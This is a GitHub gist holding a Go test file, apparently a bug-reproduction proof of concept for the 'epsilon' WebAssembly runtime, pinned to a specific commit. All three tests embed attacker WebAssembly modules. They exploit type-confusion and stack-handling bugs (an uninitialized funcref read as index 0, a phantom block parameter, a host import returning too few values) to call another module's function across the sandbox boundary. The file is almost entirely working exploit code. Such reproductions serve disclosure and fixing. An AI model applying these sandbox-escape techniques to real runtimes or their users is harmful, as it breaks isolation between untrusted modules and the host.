-
-
Save ziggy42/75c3fddb5cdd77fbf051e36eb2a350b8 to your computer and use it in GitHub Desktop.
Epsilon Repro
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // How to run this PoC: | |
| // 1. git clone https://github.com/ziggy42/epsilon | |
| // 2. cd epsilon | |
| // 3. git checkout 80b403a | |
| // 4. Save this file as epsilon/repro_test.go | |
| // 5. go test -v ./epsilon -run TestExploit | |
| package epsilon | |
| import ( | |
| "bytes" | |
| "testing" | |
| "github.com/ziggy42/epsilon/internal/wabt" | |
| ) | |
| // The victim module remains the same for all exploits: it defines a secret | |
| // function at index 0 in the global store. | |
| const victimWat = `(module | |
| (func (result i32) i32.const 1337) | |
| )` | |
| func setupVictim(t *testing.T, runtime *Runtime) { | |
| victimWasm, err := wabt.Wat2Wasm(victimWat) | |
| if err != nil { | |
| t.Fatalf("Failed to convert victim WAT: %v", err) | |
| } | |
| _, err = runtime.InstantiateModule(bytes.NewReader(victimWasm)) | |
| if err != nil { | |
| t.Fatalf("Failed to instantiate victim: %v", err) | |
| } | |
| } | |
| // 1. Zero Is Not Null | |
| func TestExploit1(t *testing.T) { | |
| attackerWat := `(module | |
| (type $t (func (result i32))) | |
| (table 1 funcref) | |
| (func (export "exploit") (result i32) | |
| (local $f funcref) ;; uninitialized funcref | |
| i32.const 0 ;; index into table | |
| local.get $f ;; will be 0 on vulnerable versions | |
| table.set 0 ;; store in table slot 0 | |
| i32.const 0 ;; index for call_indirect | |
| call_indirect (type $t) ;; fetch from table and call | |
| ) | |
| )` | |
| wasm, _ := wabt.Wat2Wasm(attackerWat) | |
| runtime := NewRuntime() | |
| setupVictim(t, runtime) | |
| instance, _ := runtime.InstantiateModule(bytes.NewReader(wasm)) | |
| res, err := instance.Invoke("exploit") | |
| if err != nil { | |
| t.Fatalf("Exploit failed: %v", err) | |
| } | |
| if len(res) > 0 && res[0].(int32) == 1337 { | |
| t.Logf("BUG 1 SUCCESSFUL! Returned 1337") | |
| } else { | |
| t.Errorf("Bug 1 failed, returned %v", res) | |
| } | |
| } | |
| // 2. The Phantom Block Parameter | |
| func TestExploit2(t *testing.T) { | |
| attackerWat := `(module | |
| (type $t (func (result i32))) | |
| (table 1 funcref) | |
| (func (export "exploit") (result i32) | |
| (local $f funcref) | |
| ref.null func | |
| i32.const 0 ;; index of secret function | |
| (block (param i32) | |
| drop | |
| ) ;; VM bug: resurrects 0 on stack | |
| local.set $f ;; stores 0 in $f | |
| local.get $f | |
| ref.is_null ;; VM sees 0 (not null) | |
| if (result i32) | |
| i32.const 42 | |
| else | |
| i32.const 0 | |
| local.get $f | |
| table.set 0 | |
| i32.const 0 | |
| call_indirect (type $t) | |
| end | |
| ) | |
| )` | |
| wasm, _ := wabt.Wat2Wasm(attackerWat) | |
| runtime := NewRuntime() | |
| setupVictim(t, runtime) | |
| instance, _ := runtime.InstantiateModule(bytes.NewReader(wasm)) | |
| res, err := instance.Invoke("exploit") | |
| if err != nil { | |
| t.Fatalf("Exploit failed: %v", err) | |
| } | |
| if len(res) > 0 && res[0].(int32) == 1337 { | |
| t.Logf("BUG 2 SUCCESSFUL! Returned 1337") | |
| } else { | |
| t.Errorf("Bug 2 failed, returned %v", res) | |
| } | |
| } | |
| // 3. The Ghost in the Stack | |
| func TestExploit3(t *testing.T) { | |
| attackerWat := `(module | |
| (type $t (func (result i32))) | |
| (import "env" "leak" (func $leak (result funcref))) | |
| (table 1 funcref) | |
| (func (export "exploit") (result i32) | |
| i32.const 0 ;; table index | |
| i32.const 0 ;; value to leak (store index 0) | |
| call $leak ;; promised funcref. VM has [0, 0]. | |
| table.set 0 ;; VM pops 0 then 0. | |
| i32.const 0 | |
| call_indirect (type $t) | |
| return | |
| ) | |
| )` | |
| wasm, _ := wabt.Wat2Wasm(attackerWat) | |
| runtime := NewRuntime() | |
| setupVictim(t, runtime) | |
| imports := map[string]map[string]any{ | |
| "env": { | |
| "leak": func(m *ModuleInstance, args ...any) []any { | |
| return []any{} | |
| }, | |
| }, | |
| } | |
| instance, _ := runtime.InstantiateModuleWithImports(bytes.NewReader(wasm), imports) | |
| res, err := instance.Invoke("exploit") | |
| if err != nil { | |
| t.Fatalf("Exploit failed: %v", err) | |
| } | |
| if len(res) > 0 && res[0].(int32) == 1337 { | |
| t.Logf("BUG 3 SUCCESSFUL! Returned 1337") | |
| } else { | |
| t.Errorf("Bug 3 failed, returned %v", res) | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment